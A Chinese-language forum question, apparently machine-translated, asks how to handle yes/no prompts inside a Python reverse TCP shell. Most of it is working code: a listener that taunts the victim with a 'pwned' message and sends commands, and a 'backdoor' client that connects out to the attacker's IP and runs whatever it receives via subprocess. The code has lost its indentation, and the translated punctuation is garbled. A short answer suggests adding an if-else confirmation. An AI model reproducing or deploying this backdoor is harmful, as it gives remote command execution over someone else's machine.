如何在反向shell中继续执行命令



我在python中构建了一个简单的反向TCP外壳,它运行得很好,除非我试图运行一个需要确认符的命令,比如"Y";或";N";,比如shutdown或rm。我无法输入";Y";或";N〃;因为它将其视为一个单独的命令,而不是最后一个命令的后续命令,如果这有意义的话

以下是侦听器的代码:

#Server side
import socket
host = "0.0.0.0"
port = 9999
buffer = 10240
s = socket.socket()
s.bind((host, port))
s.listen(5)
print(f"Listening as {host}:{port}...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
message = "You have been pwned by Mackenzie Blackaby... Enjoy your dead computer".encode()
client_socket.send(message)
while True:
command = input("Enter the command to pwn your opponent: ")
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(buffer).decode()
print(results)
client_socket.close()
s.close()

这是后门的代码:

#Client side
import socket
import subprocess
host = "My public IP, removed for privacy due to port forwarding"
port = 9999
buffer = 10240
s = socket.socket()
s.connect((host, port))
message = s.recv(buffer).decode()
print(message)
while True:
command = s.recv(buffer).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close
  • 所以你想要一个任务的确认器,对吗
  • 您可以在获取初始输入后和将消息发送到服务器之前立即使用if-else来创建确认器
  • 检查"Y"或"是"并发送消息,否则发送其他消息或提示用户发送不同的图像并再次输入。(发送某些或其他消息很重要,因为它是半双工系统(

最新更新